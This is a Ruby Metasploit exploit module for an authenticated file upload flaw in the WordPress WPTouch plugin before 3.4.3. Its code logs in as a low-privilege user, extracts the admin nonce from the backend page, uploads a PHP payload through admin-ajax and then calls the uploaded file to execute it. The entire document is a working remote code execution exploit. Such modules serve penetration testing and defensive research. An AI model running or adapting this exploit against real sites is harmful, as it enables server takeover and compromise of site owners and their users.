## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Wordpress WPTouch Authenticated File Upload', 'Description' => %q{ The Wordpress WPTouch plugin contains an auhtenticated file upload vulnerability. A wp-nonce (CSRF token) is created on the backend index page and the same token is used on handling ajax file uploads through the plugin. By sending the captured nonce with the upload, we can upload arbitrary files to the upload folder. Because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type. The user provided does not need special rights, and users with "Contributor" role can be abused. }, 'Author' => [ 'Marc-Alexandre Montpas', # initial discovery 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html'], ['WPVDB', '7118'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['wptouch < 3.4.3', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 14 2014')) register_options( [ OptString.new('USER', [true, 'A valid username', nil]), OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) ], self.class) end def user datastore['USER'] end def password datastore['PASSWORD'] end def check check_plugin_version_from_readme('wptouch', '3.4.3') end def get_nonce(cookie) res = send_request_cgi( 'uri' => wordpress_url_backend, 'method' => 'GET', 'cookie' => cookie ) # forward to profile.php or other page? if res && res.redirect? && res.redirection location = res.redirection print_status("#{peer} - Following redirect to #{location}") res = send_request_cgi( 'uri' => location, 'method' => 'GET', 'cookie' => cookie ) end if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/ return Regexp.last_match[1] else return nil end end def upload_file(cookie, nonce) filename = "#{rand_text_alpha(10)}.php" data = Rex::MIME::Message.new data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"") data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"') data.add_part('upload_file', nil, nil, 'form-data; name="action"') data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"') data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"') post_data = data.to_s print_status("#{peer} - Uploading payload") res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie ) if res && res.code == 200 && res.body && res.body.length > 0 register_files_for_cleanup(filename) return res.body end nil end def exploit print_status("#{peer} - Trying to login as #{user}") cookie = wordpress_login(user, password) if cookie.nil? print_error("#{peer} - Unable to login as #{user}") return end print_status("#{peer} - Trying to get nonce") nonce = get_nonce(cookie) if nonce.nil? print_error("#{peer} - Can not get nonce after login") return end print_status("#{peer} - Got nonce #{nonce}") print_status("#{peer} - Trying to upload payload") file_path = upload_file(cookie, nonce) if file_path.nil? print_error("#{peer} - Error uploading file") return end print_status("#{peer} - Calling uploaded file #{file_path}") send_request_cgi( 'uri' => file_path, 'method' => 'GET' ) end end